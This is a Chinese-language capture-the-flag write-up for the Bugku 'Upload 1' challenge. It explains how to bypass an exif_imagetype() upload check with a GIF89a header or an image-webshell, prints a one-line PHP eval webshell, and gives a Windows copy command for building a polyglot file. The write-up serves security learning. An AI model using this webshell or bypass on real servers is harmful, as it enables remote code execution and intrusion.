Upload 1

Upload 1 - Bugku CTF
本题是一个典型的文件上传漏洞题目。

不选择文件直接点击“upload”按钮上传,页面显示报错。
Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/upload.php:19 Stack trace: #0 /var/www/html/upload.php(19): exif_imagetype('') #1 {main} thrown in /var/www/html/upload.php on line 19

发现该网站使用 exif_imagetype() 函数来判断上传文件的类型,而该函数是通过读取一个图像的第一个字节并检查其签名来判断一个图像的类型的。

多轮测试发现该网站只能上传图像文件。
那我们可以使用修改文件头的方法来绕过上传限制上传一句话木马。

文件头绕过

GIF89a图形文件是一个根据图形交换格式(GIF)89a版进行格式化之后的图形。

上传如下php文件即可完成绕过。

1
2
GIF89a
<?php @eval($_POST["cmd"]);?>

再使用中国蚁剑连接目标服务器在根目录可以找到 flag 文件。

图片马

那我们同样也可以通过图片马的方式来绕过该网站限制。

图片马的制作有以下几种方案。

编辑器添加数据

准备一张图片,用记事本或者010editor等编辑器直接打开,在后面增加一句话木马,此时你得到了一个图片马,然后修改图片文件名的后缀为php上传即可。

burp抓包添加数据

在上传图片文件时,用bp抓取请求包,修改图片文件名后缀为 .php ,在图片文件内容后面增加一句话木马后放开请求即可。

Windows命令制作

copy x.png /b + 1.php /a shell.png
其中 x. png 是一个普通的 png 图片文件,1.php 是 webshell 文件。
该命令就是将以二进制方式读取的 x.png 文件内容和以 ASCII 编码方式读取的 1.php 文件内容合并,生成新的文件 shell. png 就是图片马了,最后修改图片文件名的后缀为php上传即可。

一句话木马文件上传后使用中国蚁剑连接目标服务器在根目录可以找到 flag 文件。